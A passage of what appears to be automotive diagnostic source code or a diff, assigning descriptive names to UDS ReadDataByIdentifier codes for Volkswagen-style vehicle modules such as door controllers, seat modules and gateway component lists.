"Ignition_key_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0676] = "Left_front_seat_ventilation_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0677] = "Right_front_seat_ventilation_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0678] = "Left_rear_seat_ventilation_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0679] = "Right_rear_seat_ventilation_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x067a] = "Data_medium_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x067b] = "Drivers_door_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x067c] = "Front_passengers_door_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x067d] = "Left_headlamp_power_output_stage_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x067e] = "Right_headlamp_power_output_stage_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x067f] = "Sensor_for_anti_theft_alarm_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0680] = "Rear_lid_control_module_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0681] = "Alarm_horn_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0682] = "Automatic_day_night_interior_mirror_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0683] = "Sun_roof_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0684] = "Steering_column_lock_actuator_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0685] = "Anti_theft_tilt_system_control_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0686] = "Tire_pressure_monitor_antenna_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0687] = "Heated_windshield_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0688] = "Rear_light_left_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0689] = "Ceiling_light_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x068a] = "Left_front_massage_seat_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x068b] = "Right_front_massage_seat_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x068c] = "Control_module_for_auxiliary_air_heater_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x068d] = "Ioniser_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x068e] = "Multi_function_steering_wheel_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x068f] = "Left_rear_door_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0690] = "Right_rear_door_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0691] = "Left_rear_massage_seat_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0692] = "Right_rear_massage_seat_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0693] = "Display_unit_1_for_multimedia_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0694] = "Battery_monitoring_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0695] = "Roof_blind_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0696] = "Sun_roof_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0697] = "Display_unit_2_for_multimedia_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0698] = "Telephone_handset_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x0699] = "Traffic_data_aerial_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x069a] = "Chip_card_reader_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x069b] = "Hands_free_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x069c] = "Telephone_handset_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x069d] = "Display_unit_front_for_multimedia_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x069e] = "Multimedia_operating_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x069f] = "Digital_sound_system_control_module_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x06a0] = "Control_unit_for_wiper_motor_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06a1] = "Rain_light_recognition_sensor_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06a2] = "Light_switch_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06a3] = "Garage_door_opener_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06a4] = "Garage_door_opener_operating_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06a5] = "Ignition_key_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06a6] = "Left_front_seat_ventilation_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06a7] = "Right_front_seat_ventilation_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06a8] = "Left_rear_seat_ventilation_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06a9] = "Right_rear_seat_ventilation_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06aa] = "Data_medium_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06ab] = "Drivers_door_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06ac] = "Front_passengers_door_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06ad] = "Left_headlamp_power_output_stage_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06ae] = "Right_headlamp_power_output_stage_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06af] = "Sensor_for_anti_theft_alarm_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06b0] = "Rear_lid_control_module_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06b1] = "Alarm_horn_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06b2] = "Automatic_day_night_interior_mirror_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06b3] = "Sun_roof_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06b4] = "Steering_column_lock_actuator_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06b5] = "Anti_theft_tilt_system_control_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06b6] = "Tire_pressure_monitor_antenna_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06b7] = "Heated_windshield_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06b8] = "Rear_light_left_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06b9] = "Ceiling_light_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06ba] = "Left_front_massage_seat_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06bb] = "Right_front_massage_seat_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06bc] = "Control_module_for_auxiliary_air_heater_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06bd] = "Ioniser_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06be] = "Multi_function_steering_wheel_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06bf] = "Left_rear_door_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06c0] = "Right_rear_door_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06c1] = "Left_rear_massage_seat_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06c2] = "Right_rear_massage_seat_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06c3] = "Display_unit_1_for_multimedia_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06c4] = "Battery_monitoring_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06c5] = "Roof_blind_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06c6] = "Sun_roof_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06c7] = "Display_unit_2_for_multimedia_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06c8] = "Telephone_handset_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06c9] = "Traffic_data_aerial_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06ca] = "Chip_card_reader_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06cb] = "Hands_free_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06cc] = "Telephone_handset_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06cd] = "Display_unit_front_for_multimedia_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06ce] = "Multimedia_operating_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06cf] = "Digital_sound_system_control_module_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x06d0] = "Control_unit_for_wiper_motor_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06d1] = "Rain_light_recognition_sensor_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06d2] = "Light_switch_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06d3] = "Garage_door_opener_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06d4] = "Garage_door_opener_operating_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06d5] = "Ignition_key_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06d6] = "Left_front_seat_ventilation_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06d7] = "Right_front_seat_ventilation_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06d8] = "Left_rear_seat_ventilation_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06d9] = "Right_rear_seat_ventilation_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06da] = "Data_medium_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06db] = "Drivers_door_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06dc] = "Front_passengers_door_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06dd] = "Left_headlamp_power_output_stage_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06de] = "Right_headlamp_power_output_stage_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06df] = "Sensor_for_anti_theft_alarm_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06e0] = "Rear_lid_control_module_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06e1] = "Alarm_horn_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06e2] = "Automatic_day_night_interior_mirror_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06e3] = "Sun_roof_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06e4] = "Steering_column_lock_actuator_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06e5] = "Anti_theft_tilt_system_control_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06e6] = "Tire_pressure_monitor_antenna_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06e7] = "Heated_windshield_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06e8] = "Rear_light_left_1_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06e9] = "Ceiling_light_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06ea] = "Left_front_massage_seat_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06eb] = "Right_front_massage_seat_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06ec] = "Control_module_for_auxiliary_air_heater_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06ed] = "Ioniser_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06ee] = "Multi_function_steering_wheel_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06ef] = "Left_rear_door_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06f0] = "Right_rear_door_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06f1] = "Left_rear_massage_seat_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06f2] = "Right_rear_massage_seat_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06f3] = "Display_unit_1_for_multimedia_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06f4] = "Battery_monitoring_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06f5] = "Roof_blind_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06f6] = "Sun_roof_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06f7] = "Display_unit_2_for_multimedia_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06f8] = "Telephone_handset_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06f9] = "Traffic_data_aerial_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06fa] = "Chip_card_reader_control_module_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06fb] = "Hands_free_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06fc] = "Telephone_handset_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06fd] = "Display_unit_front_for_multimedia_system_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06fe] = "Multimedia_operating_unit_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x06ff] = "Digital_sound_system_control_module_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x0700] = "Control_unit_for_wiper_motor_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0701] = "Rain_light_recognition_sensor_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0702] = "Light_switch_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0703] = "Garage_door_opener_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0704] = "Garage_door_opener_operating_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0705] = "Ignition_key_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0706] = "Left_front_seat_ventilation_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0707] = "Right_front_seat_ventilation_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0708] = "Left_rear_seat_ventilation_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0709] = "Right_rear_seat_ventilation_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x070a] = "Data_medium_Serial_Number" +UDS_RDBI.dataIdentifiers[0x070b] = "Drivers_door_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x070c] = "Front_passengers_door_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x070d] = "Left_headlamp_power_output_stage_Serial_Number" +UDS_RDBI.dataIdentifiers[0x070e] = "Right_headlamp_power_output_stage_Serial_Number" +UDS_RDBI.dataIdentifiers[0x070f] = "Sensor_for_anti_theft_alarm_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0710] = "Rear_lid_control_module_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0711] = "Alarm_horn_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0712] = "Automatic_day_night_interior_mirror_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0713] = "Sun_roof_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0714] = "Steering_column_lock_actuator_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0715] = "Anti_theft_tilt_system_control_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0716] = "Tire_pressure_monitor_antenna_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0717] = "Heated_windshield_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0718] = "Rear_light_left_1_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0719] = "Ceiling_light_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x071a] = "Left_front_massage_seat_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x071b] = "Right_front_massage_seat_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x071c] = "Control_module_for_auxiliary_air_heater_Serial_Number" +UDS_RDBI.dataIdentifiers[0x071d] = "Ioniser_Serial_Number" +UDS_RDBI.dataIdentifiers[0x071e] = "Multi_function_steering_wheel_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x071f] = "Left_rear_door_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0720] = "Right_rear_door_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0721] = "Left_rear_massage_seat_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0722] = "Right_rear_massage_seat_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0723] = "Display_unit_1_for_multimedia_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0724] = "Battery_monitoring_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0725] = "Roof_blind_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0726] = "Sun_roof_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0727] = "Display_unit_2_for_multimedia_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0728] = "Telephone_handset_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0729] = "Traffic_data_aerial_Serial_Number" +UDS_RDBI.dataIdentifiers[0x072a] = "Chip_card_reader_control_module_Serial_Number" +UDS_RDBI.dataIdentifiers[0x072b] = "Hands_free_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x072c] = "Telephone_handset_Serial_Number" +UDS_RDBI.dataIdentifiers[0x072d] = "Display_unit_front_for_multimedia_system_Serial_Number" +UDS_RDBI.dataIdentifiers[0x072e] = "Multimedia_operating_unit_Serial_Number" +UDS_RDBI.dataIdentifiers[0x072f] = "Digital_sound_system_control_module_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x0730] = "Control_unit_for_wiper_motor_System_Name" +UDS_RDBI.dataIdentifiers[0x0731] = "Rain_light_recognition_sensor_System_Name" +UDS_RDBI.dataIdentifiers[0x0732] = "Light_switch_System_Name" +UDS_RDBI.dataIdentifiers[0x0733] = "Garage_door_opener_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x0734] = "Garage_door_opener_operating_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x0735] = "Ignition_key_System_Name" +UDS_RDBI.dataIdentifiers[0x0736] = "Left_front_seat_ventilation_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x0737] = "Right_front_seat_ventilation_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x0738] = "Left_rear_seat_ventilation_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x0739] = "Right_rear_seat_ventilation_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x073a] = "Data_medium_System_Name" +UDS_RDBI.dataIdentifiers[0x073b] = "Drivers_door_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x073c] = "Front_passengers_door_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x073d] = "Left_headlamp_power_output_stage_System_Name" +UDS_RDBI.dataIdentifiers[0x073e] = "Right_headlamp_power_output_stage_System_Name" +UDS_RDBI.dataIdentifiers[0x073f] = "Sensor_for_anti_theft_alarm_system_System_Name" +UDS_RDBI.dataIdentifiers[0x0740] = "Rear_lid_control_module_2_System_Name" +UDS_RDBI.dataIdentifiers[0x0741] = "Alarm_horn_System_Name" +UDS_RDBI.dataIdentifiers[0x0742] = "Automatic_day_night_interior_mirror_System_Name" +UDS_RDBI.dataIdentifiers[0x0743] = "Sun_roof_System_Name" +UDS_RDBI.dataIdentifiers[0x0744] = "Steering_column_lock_actuator_System_Name" +UDS_RDBI.dataIdentifiers[0x0745] = "Anti_theft_tilt_system_control_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x0746] = "Tire_pressure_monitor_antenna_System_Name" +UDS_RDBI.dataIdentifiers[0x0747] = "Heated_windshield_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x0748] = "Rear_light_left_1_System_Name" +UDS_RDBI.dataIdentifiers[0x0749] = "Ceiling_light_module_System_Name" +UDS_RDBI.dataIdentifiers[0x074a] = "Left_front_massage_seat_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x074b] = "Right_front_massage_seat_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x074c] = "Control_module_for_auxiliary_air_heater_System_Name" +UDS_RDBI.dataIdentifiers[0x074d] = "Ioniser_System_Name" +UDS_RDBI.dataIdentifiers[0x074e] = "Multi_function_steering_wheel_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x074f] = "Left_rear_door_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x0750] = "Right_rear_door_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x0751] = "Left_rear_massage_seat_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x0752] = "Right_rear_massage_seat_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x0753] = "Display_unit_1_for_multimedia_system_System_Name" +UDS_RDBI.dataIdentifiers[0x0754] = "Battery_monitoring_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x0755] = "Roof_blind_System_Name" +UDS_RDBI.dataIdentifiers[0x0756] = "Sun_roof_2_System_Name" +UDS_RDBI.dataIdentifiers[0x0757] = "Display_unit_2_for_multimedia_system_System_Name" +UDS_RDBI.dataIdentifiers[0x0758] = "Telephone_handset_2_System_Name" +UDS_RDBI.dataIdentifiers[0x0759] = "Traffic_data_aerial_System_Name" +UDS_RDBI.dataIdentifiers[0x075a] = "Chip_card_reader_control_module_System_Name" +UDS_RDBI.dataIdentifiers[0x075b] = "Hands_free_system_System_Name" +UDS_RDBI.dataIdentifiers[0x075c] = "Telephone_handset_System_Name" +UDS_RDBI.dataIdentifiers[0x075d] = "Display_unit_front_for_multimedia_system_System_Name" +UDS_RDBI.dataIdentifiers[0x075e] = "Multimedia_operating_unit_System_Name" +UDS_RDBI.dataIdentifiers[0x075f] = "Digital_sound_system_control_module_2_System_Name" +UDS_RDBI.dataIdentifiers[0x07a0] = "Control_unit_for_wiper_motor_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07a1] = "Rain_light_recognition_sensor_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07a2] = "Light_switch_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07a3] = "Garage_door_opener_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07a4] = "Garage_door_opener_operating_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07a5] = "Ignition_key_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07a6] = "Left_front_seat_ventilation_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07a7] = "Right_front_seat_ventilation_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07a8] = "Left_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07a9] = "Right_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07aa] = "Data_medium_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07ab] = "Drivers_door_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07ac] = "Front_passengers_door_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07ad] = "Left_headlamp_power_output_stage_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07ae] = "Right_headlamp_power_output_stage_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07af] = "Sensor_for_anti_theft_alarm_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07b0] = "Rear_lid_control_module_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07b1] = "Alarm_horn_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07b2] = "Automatic_day_night_interior_mirror_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07b3] = "Sun_roof_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07b4] = "Steering_column_lock_actuator_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07b5] = "Anti_theft_tilt_system_control_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07b6] = "Tire_pressure_monitor_antenna_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07b7] = "Heated_windshield_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07b8] = "Rear_light_left_1_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07b9] = "Ceiling_light_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07ba] = "Left_front_massage_seat_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07bb] = "Right_front_massage_seat_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07bc] = "Control_module_for_auxiliary_air_heater_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07bd] = "Ioniser_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07be] = "Multi_function_steering_wheel_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07bf] = "Left_rear_door_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07c0] = "Right_rear_door_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07c1] = "Left_rear_massage_seat_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07c2] = "Right_rear_massage_seat_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07c3] = "Display_unit_1_for_multimedia_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07c4] = "Battery_monitoring_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07c5] = "Roof_blind_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07c6] = "Sun_roof_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07c7] = "Display_unit_2_for_multimedia_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07c8] = "Telephone_handset_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07c9] = "Traffic_data_aerial_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07ca] = "Chip_card_reader_control_module_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07cb] = "Hands_free_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07cc] = "Telephone_handset_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07cd] = "Display_unit_front_for_multimedia_system_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07ce] = "Multimedia_operating_unit_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x07cf] = "Digital_sound_system_control_module_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x0902] = "Activation of Development CAN-Messages" +UDS_RDBI.dataIdentifiers[0x2a26] = "Gateway Component List present" +UDS_RDBI.dataIdentifiers[0x2a27] = "Gateway_Component_List_Sleepindication" +UDS_RDBI.dataIdentifiers[0x2a28] = "Gateway Component List dtc" +UDS_RDBI.dataIdentifiers[0x2a29] = "Gateway Component List DiagProt" +UDS_RDBI.dataIdentifiers[0x2a2d] = "Gateway_component_list_databus_identification" +UDS_RDBI.dataIdentifiers[0x2ee0] = "Gateway_component_list_diag_path" +UDS_RDBI.dataIdentifiers[0x2ee1] = "Gateway_component_list_ecu_authentication" +UDS_RDBI.dataIdentifiers[0x3610] = "Electrically_adjustable_steering_column_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3611] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3612] = "Rear_spoiler_adjustment_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3613] = "Roof_blind_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3614] = "Motor_for_wind_deflector_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3615] = "Voltage_stabilizer_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3616] = "Switch_module_for_driver_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3617] = "Switch_module_for_front_passenger_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3618] = "Switch_module_for_rear_seat_driver_side_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3619] = "Switch_module_for_rear_seat_front_passenger_side_Coding_Values" +UDS_RDBI.dataIdentifiers[0x361a] = "Switch_module_2_for_driver_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x361b] = "Switch_module_2_for_front_passenger_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x361c] = "Switch_module_2_for_rear_seat_front_passenger_side_Coding_Values" +UDS_RDBI.dataIdentifiers[0x361d] = "Compact_disc_database_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3629] = "LED_headlamp_powermodule_2_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x362a] = 